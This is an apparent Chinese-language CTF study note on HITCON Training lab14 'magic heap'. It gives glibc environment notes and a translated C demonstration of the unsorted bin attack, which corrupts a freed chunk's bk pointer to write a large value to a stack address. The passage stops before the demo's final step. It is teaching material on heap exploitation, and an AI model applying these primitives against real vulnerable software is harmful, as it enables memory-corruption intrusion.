一、HITCON Training lab14 magic heap
参考链接1:原题链接
参考链接2:教程链接
0、运行环境
unbuntu16.04
glibc版本在2.3以下都行,2.23、2.24、2.27......都是小于2.3的glibc版本
1、个人翻译过后的代码(翻译自参考链接2)
//原文件名:xy369
//编译指令:gcc -g -o xy369 xy369.c
#include<stdio.h>
#include<stdlib.h>
int main(){
fprintf(stderr,"这段代码演示了如何利用unsorted bin attack"
"向栈中写入一个很大的无符号长整形值\n");
fprintf(stderr,"在实践中,"
"unsorted bin attack一般是为进一步的攻击做准备,"
"比如重写libc中的全局变量global_max_fast,"
"用于进一步的fastbin攻击\n\n");
unsigned long target_var = 0;
fprintf(stderr,"首先来第一次看看我们想要重写的目标"
"的栈地址及存储值:\n");
fprintf(stderr,"%p(变量的栈地址) = %ld(变量的初始值)\n\n"
,&target_var,target_var);
unsigned long *p = malloc(400);
fprintf(stderr,"现在,我们在堆上申请了一个普通的chunk,"
"它的地址是:%p\n",p);
fprintf(stderr,"同时我们再申请一个chunk来避免第一次申请的"
"chunk在free()后与Top chunk合并\n\n");
malloc(500);
free(p);
fprintf(stderr,"现在,我们free掉了第一个申请的chunk"
"它将被回收进unsorted bin中"
"同时它的 bk 指针指向:%p\n",(void *)p[1]);
/*------------VULNERABILITY-----------*/
p[1] = (unsigned long)(&target_var - 2);
fprintf(stderr, "现在复现一个可以 "
"重写 victim->bk 指针的漏洞\n");
fprintf(stderr, "同时我们将其重写为 目标地址 - 16 "
"(在32位机上,"
" 应该重写它为 目标地址 - 8):%p\n\n",(void *)p[1]);
//-----------------------